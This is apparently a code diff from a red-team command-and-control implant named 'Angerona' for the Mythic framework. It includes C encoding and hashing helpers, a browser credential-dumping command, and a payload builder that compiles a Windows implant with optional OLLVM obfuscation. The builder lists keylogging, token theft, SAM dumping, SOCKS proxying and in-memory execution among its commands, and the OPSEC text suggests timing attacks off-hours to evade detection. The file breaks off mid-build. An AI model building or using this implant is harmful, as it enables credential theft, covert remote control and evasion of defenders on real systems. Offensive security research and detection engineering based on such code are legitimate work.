if (len % 4 != 0) return 0;
SIZE_T i = 0, j = 0;
while (i < len) {
int a = b64_inverse(in[i]);
int b = b64_inverse(in[i+1]);
int c = (in[i+2] == '=') ? -1 : b64_inverse(in[i+2]);
int d = (in[i+3] == '=') ? -1 : b64_inverse(in[i+3]);
if (a < 0 || b < 0 || (in[i+2] != '=' && c < 0) || (in[i+3] != '=' && d < 0))
return 0;
out[j++] = (a << 2) | (b >> 4);
if (c >= 0) out[j++] = ((b & 0xF) << 4) | (c >> 2);
if (d >= 0) out[j++] = ((c & 0x3) << 6) | d;
i += 4;
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF; value >>= 8;
buffer[6] = value & 0xFF; value >>= 8;
buffer[5] = value & 0xFF; value >>= 8;
buffer[4] = value & 0xFF; value >>= 8;
buffer[3] = value & 0xFF; value >>= 8;
buffer[2] = value & 0xFF; value >>= 8;
buffer[1] = value & 0xFF; value >>= 8;
buffer[0] = value & 0xFF;
}
/* =========================================================
Wrappers para interfaz simple de base64 (socks_manager)
- base64_decode: asigna *out con LocalAlloc; devuelve 1 en ok.
- base64_encode: asigna *out_b64 con LocalAlloc; devuelve 1 en ok.
========================================================= */
int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
if (!b64 || !out || !out_len) return 0;
SIZE_T need = b64tamanoDecodificado(b64);
if (need == 0) {
*out = NULL;
*out_len = 0;
return 1; /* empty input is OK */
}
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
if (!buf) {
_err("base64_decode: LocalAlloc failed for %zu bytes", need);
return 0;
}
int ok = b64Decodificado(b64, buf, need);
if (!ok) {
LocalFree(buf);
_err("base64_decode: b64Decodificado failed");
return 0;
}
*out = buf;
*out_len = (size_t)need;
_dbg("base64_decode: decoded %zu bytes", *out_len);
return 1;
}
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
if ((!data && dlen>0) || !out_b64) return 0;
if (dlen == 0) {
*out_b64 = (char*)LocalAlloc(LPTR, 1);
if (!*out_b64) return 0;
(*out_b64)[0] = '\0';
return 1;
}
char *s = b64Codificado(data, (SIZE_T)dlen);
if (!s) {
_err("base64_encode: b64Codificado failed");
return 0;
}
/* b64Codificado already uses LocalAlloc in original impl */
*out_b64 = s;
_dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
return 1;
}
/* Hash function for BOF function resolution (FNV-1a algorithm) */
#define HASH_SEED 0x811C9DC5
#define HASH_PRIME 0x01000193
UINT32 custom_hash(const char *data) {
UINT32 hash = HASH_SEED;
if (!data) return 0;
while (*data) {
hash ^= (UINT8)(*data);
hash *= HASH_PRIME;
data++;
}
return hash;
}
@@ -0,0 +1,39 @@
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
/* Wrappers compatibles con la interfaz usada por socks_manager.c */
int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
/* Allocates *out via LocalAlloc; caller must LocalFree(*out). Returns 1 on success, 0 on fail. */
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
/* Hash function for BOF function resolution (FNV-1a) */
UINT32 custom_hash(const char *data);
#endif
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="100" r="85" fill="none" stroke="#111" stroke-width="4"/>
<!-- Laurel left -->
<path d="M60 130 Q50 100 70 70" fill="none" stroke="#111" stroke-width="3"/>
<path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#111" stroke-width="3"/>
<!-- Laurel right -->
<path d="M140 130 Q150 100 130 70" fill="none" stroke="#111" stroke-width="3"/>
<path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#111" stroke-width="3"/>
<!-- Central seal (silence mark) -->
<circle cx="100" cy="100" r="18" fill="none" stroke="#111" stroke-width="3"/>
<line x1="85" y1="100" x2="115" y2="100" stroke="#111" stroke-width="3"/>
</svg>

After

Width:  |  Height:  |  Size: 806 B

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="100" r="85" fill="none" stroke="#eee" stroke-width="4"/>
<!-- Laurel left -->
<path d="M60 130 Q50 100 70 70" fill="none" stroke="#eee" stroke-width="3"/>
<path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#eee" stroke-width="3"/>
<!-- Laurel right -->
<path d="M140 130 Q150 100 130 70" fill="none" stroke="#eee" stroke-width="3"/>
<path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#eee" stroke-width="3"/>
<!-- Central seal (silence mark) -->
<circle cx="100" cy="100" r="18" fill="none" stroke="#eee" stroke-width="3"/>
<line x1="85" y1="100" x2="115" y2="100" stroke="#eee" stroke-width="3"/>
</svg>

After

Width:  |  Height:  |  Size: 806 B

@@ -0,0 +1,149 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class BrowserDumpArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="browser",
type=ParameterType.ChooseOne,
description="Browser to dump (cookies, logins, and bookmarks)",
choices=["chrome", "firefox"],
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply a browser name: chrome or firefox")
browser = self.command_line.strip().lower()
valid_browsers = ["chrome", "firefox"]
if browser not in valid_browsers:
raise ValueError(f"Invalid browser. Must be one of: {', '.join(valid_browsers)}")
self.add_arg("browser", browser)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class BrowserDumpCommand(CommandBase):
cmd = "browser_dump"
needs_admin = False
help_cmd = "browser_dump <browser>"
description = "Dump cookies, saved logins (passwords), and bookmarks from the specified browser. Supports Chrome and Firefox. Extracts encrypted credentials and decrypts them using browser-specific methods. Automatically reports extracted credentials to Mythic's credential store. HIGH OPSEC RISK: This command accesses browser credential stores which are heavily monitored by EDR/XDR solutions. Browser credential access is a common indicator of credential theft attacks."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1555", "T1539"]
argument_class = BrowserDumpArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Browser credential dumping is highly detectable.
"""
browser = taskData.args.get_arg("browser") or ""
browser_lower = browser.lower()
message = "🚨 HIGH OPSEC RISK - Browser Credential Dumping\n\n"
message += f"Target Browser: {browser.upper()}\n\n"
message += "This command will:\n"
message += " • Access browser credential databases (SQLite files)\n"
message += " • Read encrypted password stores\n"
message += " • Decrypt browser-protected credentials\n"
message += " • Extract cookies, saved passwords, and bookmarks\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR solutions monitor browser credential access\n"
message += " • File access to browser databases triggers alerts\n"
message += " • Credential theft detection rules (MITRE T1555)\n"
message += " • Behavioral analysis detects credential extraction patterns\n"
message += " • Elastic Security detects unsigned processes accessing browser stores\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY:\n"
message += " • Browser credential access is a primary indicator of attack\n"
message += " • Many security tools have specific rules for this activity\n"
message += " • File access patterns are logged and monitored\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • This activity is commonly detected within minutes\n"
message += " • Consider timing (off-hours may reduce detection)\n"
message += " • Ensure you have proper authorization\n"
message += " • Alternative: Use browser_info first to identify available browsers\n\n"
message += "✅ This command requires approval from another operator."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=True, # Block by default
OpsecPreBypassRole="other_operator", # Requires another operator to approve
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
browser = taskData.args.get_arg("browser") or ""
message = "🚨 OPSEC POST-CHECK - Browser Credential Dumping Artifacts\n\n"
message += f"Target Browser: {browser.upper()}\n\n"
message += "This task will create the following artifacts:\n"
message += " • File Read: Browser credential database access\n"
message += " • File Read: Browser Local State file (for Chromium browsers)\n"
message += " • File Read: Browser profiles.ini (for Firefox)\n"
message += " • Credential Access: Browser password store access\n"
message += " • Credential Extraction: Decrypted credentials reported to Mythic\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR file access monitoring\n"
message += " • Credential theft detection rules\n"
message += " • Behavioral analysis (credential extraction patterns)\n"
message += " • File access auditing (if enabled)\n\n"
message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
message += " • Browser credential access is heavily monitored\n"
message += " • Detection is likely within minutes\n"
message += " • Multiple security layers may trigger alerts\n\n"
message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False, # Don't block, just warn
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
browser = taskData.args.get_arg("browser") or ""
response.DisplayParams = f"browser: {browser}"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
The response contains dumped browser data (cookies, logins, bookmarks).
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,95 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class BrowserInfoArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise ValueError("browser_info no debe lanzarse con parámetros")
class BrowserInfoCommand(CommandBase):
cmd = "browser_info"
needs_admin = False
help_cmd = "browser_info"
description = "Identify installed web browsers and the default browser on the target system. Lists all detected browsers (Chrome, Edge, Firefox, Opera, Brave, etc.) with their installation paths and version information. Also identifies the system's default browser. This command is read-only and does not modify system state."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1082", "T1518"]
argument_class = BrowserInfoArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
This is a read-only information gathering command with low detection risk.
"""
message = "️ OPSEC INFO - Browser Information Gathering\n\n"
message += "This command will:\n"
message += " • Read registry keys (HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE)\n"
message += " • Check file system for browser installation paths\n"
message += " • Query default browser associations\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • Registry reads are generally low-risk\n"
message += " • File system enumeration may be logged (if auditing enabled)\n"
message += " • No process creation or network activity\n\n"
message += "✅ LOW DETECTION PROBABILITY - Read-only operation.\n"
message += "This command does not modify system state or create suspicious artifacts."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "️ OPSEC POST-CHECK - Browser Information Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Registry Read: Browser registry keys accessed\n"
message += " • File Read: Browser installation paths checked\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • Registry read events (if auditing enabled)\n"
message += " • File system access logs (if auditing enabled)\n\n"
message += "⚠️ LOW DETECTION PROBABILITY:\n"
message += " • Read-only operations are rarely flagged\n"
message += " • No process creation or network activity\n"
message += " • No file modifications\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "This command is safe for information gathering."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
The response contains browser information in a structured format.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,482 @@
import pathlib
import tempfile
import base64
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree,remove_tree
import asyncio
import hashlib
import string, random, os, subprocess
def generate_random_string(length=100):
chars = string.ascii_letters + string.digits # a-zA-Z0-9
return ''.join(random.choices(chars, k=length))
class AngeronaAgent(PayloadType):
name = "Angerona"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = True
c2_profiles = ["http"]
mythic_encrypts = True
translation_container = "angerona_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll"],
default_value="exe"
),
BuildParameter(
name="debug_level",
parameter_type=BuildParameterType.ChooseOne,
description="Debug verbosity level",
choices=["none", "errors", "warnings", "info", "all"],
default_value="none"
),
BuildParameter(
name="debug_output",
parameter_type=BuildParameterType.ChooseOne,
description="Debug output destination (only used if debug_level is not 'none')",
choices=["console", "file"],
default_value="console"
),
BuildParameter(
name="ollvm_compilation",
parameter_type=BuildParameterType.ChooseOne,
description="OLLVM obfuscation level (0=None, 1=Light, 2=Heavy)",
choices=["0","1","2"],
default_value="0"
)
]
agent_path = pathlib.Path(".") / "angerona"
agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling the code"),
]
async def build(self) -> BuildResponse:
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl": False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
# Track encryption configuration
crypto_type_value = None
aespsk_key_b64 = ""
debug_messages = [] # Collect all debug messages for "Applying configuration" step
debug_messages.append(f"=== DEBUG INFO ===")
debug_messages.append(f"UUID: {self.uuid}")
debug_messages.append(f"Number of C2 profiles: {len(self.c2info)}")
for c2 in self.c2info:
profile = c2.get_c2profile()
debug_messages.append(f"\n--- C2 Profile: {profile} ---")
params_dict = c2.get_parameters_dict()
if not params_dict:
debug_messages.append("WARNING: get_parameters_dict() returned None or empty!")
continue
debug_messages.append(f"Parameters dict keys: {list(params_dict.keys())}")
debug_messages.append(f"Full params_dict: {params_dict}")
for key, val in params_dict.items():
debug_messages.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
# Check if val is a dict that might contain enc_key
if isinstance(val, dict):
debug_messages.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}")
# Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key'
if key == "AESPSK" or key == "aespsk":
# Extract crypto_type from 'value' field
if 'value' in val:
crypto_type_value = val['value']
debug_messages.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
# Extract enc_key
if 'enc_key' in val:
if val["enc_key"] is not None and val["enc_key"] != "":
aespsk_key_b64 = val["enc_key"]
try:
decoded_len = len(base64.b64decode(val['enc_key']))
debug_messages.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
except Exception as e:
debug_messages.append(f" -> ERROR decoding enc_key: {e}")
else:
debug_messages.append(f" -> enc_key in AESPSK is None or empty")
# Handle other dict parameters that might contain enc_key
elif 'enc_key' in val:
debug_messages.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
if val["enc_key"] is not None and val["enc_key"] != "":
aespsk_key_b64 = val["enc_key"]
try:
decoded_len = len(base64.b64decode(val['enc_key']))
debug_messages.append(f" -> enc_key decoded length: {decoded_len}")
except Exception as e:
debug_messages.append(f" -> ERROR decoding enc_key: {e}")
else:
aespsk_key_b64 = ""
debug_messages.append(f" -> enc_key is None or empty")
else:
Config[key] = val
else:
Config[key] = val
# Log the crypto_type value and store it (in case it comes as a direct parameter)
if key == "crypto_type":
crypto_type_value = val
debug_messages.append(f" -> crypto_type set to: {val}")
# Also check if the key itself is 'enc_key'
if key == "enc_key" and val and not isinstance(val, dict):
aespsk_key_b64 = str(val)
debug_messages.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
break
# Determine encryption based on crypto_type and enc_key
debug_messages.append(f"\n=== ENCRYPTION DECISION ===")
debug_messages.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
debug_messages.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
debug_messages.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
debug_messages.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
encryption_enabled = False
if crypto_type_value == "aes256_hmac" and aespsk_key_b64:
encryption_enabled = True
debug_messages.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
else:
debug_messages.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
# Set encryption configuration
if encryption_enabled and aespsk_key_b64:
Config["ENCRYPTION_ENABLED"] = "1" # Use 1/0 instead of TRUE/FALSE for direct numeric use
Config["AESPSK_KEY"] = aespsk_key_b64
debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
debug_messages.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
debug_messages.append(f"Agent-side encryption ENABLED with AES256-HMAC")
else:
Config["ENCRYPTION_ENABLED"] = "0" # Use 1/0 instead of TRUE/FALSE for direct numeric use
Config["AESPSK_KEY"] = ""
debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
debug_messages.append(f"Set Config[AESPSK_KEY] = '' (empty)")
debug_messages.append(f"Agent-side encryption disabled")
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://", "")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
# Get selected commands and create compiler defines
selected_commands = self.commands.get_commands()
debug_messages.append(f"\n=== COMMAND SELECTION ===")
debug_messages.append(f"Total commands selected: {len(selected_commands)}")
debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
# Map command names to preprocessor define names
# Format: command_name -> ENABLE_XXX_CMD
command_to_define = {
"shell": "ENABLE_SHELL_CMD",
"cd": "ENABLE_CD_CMD",
"ls": "ENABLE_LS_CMD",
"pwd": "ENABLE_PWD_CMD",
"cp": "ENABLE_CP_CMD",
"mkdir": "ENABLE_MKDIR_CMD",
"rm": "ENABLE_RM_CMD",
"cat": "ENABLE_CAT_CMD",
"download": "ENABLE_DOWNLOAD_CMD",
"upload": "ENABLE_UPLOAD_CMD",
"screenshot": "ENABLE_SCREENSHOT_CMD",
"ps": "ENABLE_PS_CMD",
"kill": "ENABLE_KILL_CMD",
"socks": "ENABLE_SOCKS_CMD",
"rpfwd": "ENABLE_RPFWD_CMD",
"keylog_start": "ENABLE_KEYLOG_START_CMD",
"keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
"list_tokens": "ENABLE_LIST_TOKENS_CMD",
"steal_token": "ENABLE_STEAL_TOKEN_CMD",
"make_token": "ENABLE_MAKE_TOKEN_CMD",
"rev2self": "ENABLE_REV2SELF_CMD",
"whoami": "ENABLE_WHOAMI_CMD",
"browser_info": "ENABLE_BROWSER_INFO_CMD",
"browser_dump": "ENABLE_BROWSER_DUMP_CMD",
"samdump": "ENABLE_SAMDUMP_CMD",
"inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
"inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
}
# Generate compiler defines for selected commands
command_flags = []
for cmd_name in selected_commands:
if cmd_name in command_to_define:
define_name = command_to_define[cmd_name]
command_flags.append(f"-D{define_name}")
debug_messages.append(f" -> {cmd_name}: {define_name}")
# Core commands (exit, sleep) are always included, no flags needed
# Commands with builtin=True (sleep) are always included by Mythic
command_flags_str = " ".join(command_flags)
debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
if command_flags_str:
debug_messages.append(f"Command flags: {command_flags_str}")
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_path), agent_build_path.name)
output_format = self.get_parameter("output")
debug_level = self.get_parameter("debug_level")
debug_output = self.get_parameter("debug_output")
ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
# Replace placeholders in Config.h
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
debug_messages.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
debug_messages.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
with open(config_path, "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
# Replace encryption settings
encryption_value = Config.get("ENCRYPTION_ENABLED", "0")
aespsk_value = Config.get("AESPSK_KEY", "")
debug_messages.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
debug_messages.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
content = content.replace("%ENCRYPTION_ENABLED%", encryption_value)
content = content.replace("%AESPSK_KEY%", aespsk_value)
f.seek(0)
f.write(content)
f.truncate()
# Verify replacement worked
with open(config_path, "r") as f:
content_after = f.read()
if "#define ENCRYPTION_ENABLED" in content_after:
import re
match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after)
if match:
debug_messages.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after)
if match:
key_val = match.group(1)
debug_messages.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
# Send all debug info as part of "Applying configuration" step
final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
final_output += "\n".join(debug_messages)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout=final_output,
StepSuccess=True
))
# Local Compilation (without OLLVM)
if ollvm_compilation == 0:
# Determine build target and filename based on output format and debug settings
if debug_level == "none":
make_target = output_format
output_filename = f"angerona.{output_format}"
make_flags = ""
else:
make_target = f"debug_{output_format}"
output_filename = f"angerona-debug.{output_format}"
# Pass debug level and output type to Makefile
# The Makefile will convert string values to numbers
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
# Add command flags to make command
if command_flags_str:
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"
proc = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, stderr = await proc.communicate()
compile_output = stdout.decode() if stdout else ""
compile_errors = stderr.decode() if stderr else ""
if proc.returncode != 0:
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Compilation failed!\nSTDOUT:\n{compile_output}\n\nSTDERR:\n{compile_errors}",
StepSuccess=False
))
resp.status = BuildStatus.Error
resp.build_message = f"Compilation failed: {compile_errors}"
return resp
# Obtain the MD5 and SHA256 of the compiled payload
md5_hash = hashlib.md5(open(filename, "rb").read()).hexdigest()
sha256_hash = hashlib.sha256(open(filename, "rb").read()).hexdigest()
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
StepSuccess=True
))
resp.payload = open(filename, "rb").read()
resp.build_message = f"Successfully built {output_filename}{debug_info}"
# OLLVM compilation in a Docker container
else:
container_name = generate_random_string(6)
docker_volume_folder = os.path.join("/", "tmp", "converter",container_name)
# Translate debug variables to Docker container variables
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
# DEBUG_OUTPUT: console=0, file=1
debug_level_docker = debug_level.replace("none", "0")
debug_level_docker = debug_level.replace("errors", "1")
debug_level_docker = debug_level.replace("warnings", "2")
debug_level_docker = debug_level.replace("info", "3")
debug_level_docker = debug_level.replace("all", "4")
debug_output_docker = debug_output.replace("console", "0")
debug_output_docker = debug_output.replace("file", "1")
# Ollvm parameters:
level_1_obfuscation_parameters = "-mllvm -fla -mllvm -bcf -mllvm -sub"
level_2_obfuscation_parameters = "-mllvm -sub -mllvm -sub_loop=3 -mllvm -split -mllvm -split_num=3 -mllvm -fla -mllvm -bcf -mllvm -bcf_loop=3 -mllvm -bcf_prob=40"
if ollvm_compilation == 1:
obfuscation_parameters = level_1_obfuscation_parameters
elif ollvm_compilation == 2:
obfuscation_parameters = level_2_obfuscation_parameters
# Add command flags to OLLVM compilation
command_flags_ollvm = command_flags_str if command_flags_str else ""
# Compilation Command
compilation_command = f"clang -target x86_64-w64-mingw32 \
-fuse-ld=lld \
-DDEBUG_LEVEL={debug_level_docker} \
-DDEBUG_OUTPUT={debug_output_docker} \
{command_flags_ollvm} \
{obfuscation_parameters} \
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
--sysroot=/usr/x86_64-w64-mingw32 \
/tmp/angerona/*.c \
-o /tmp/angerona/angerona.exe \
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
# Create Docker Containter ollvm16-builder
create_container_command = [
"docker", "run",
"--name", f"{container_name}",
"--volume", f"{docker_volume_folder}:/tmp/angerona/",
"ollvm16-builder:latest",
"sh", "-c" ,compilation_command
]
# Delete Docker Container
delete_container_command = [
"docker",
f"fm {container_name}"
]
try:
# Move agent_build_path.name to docker_volume_folder
copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)
# Create Docker Container
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
if result.returncode != 0:
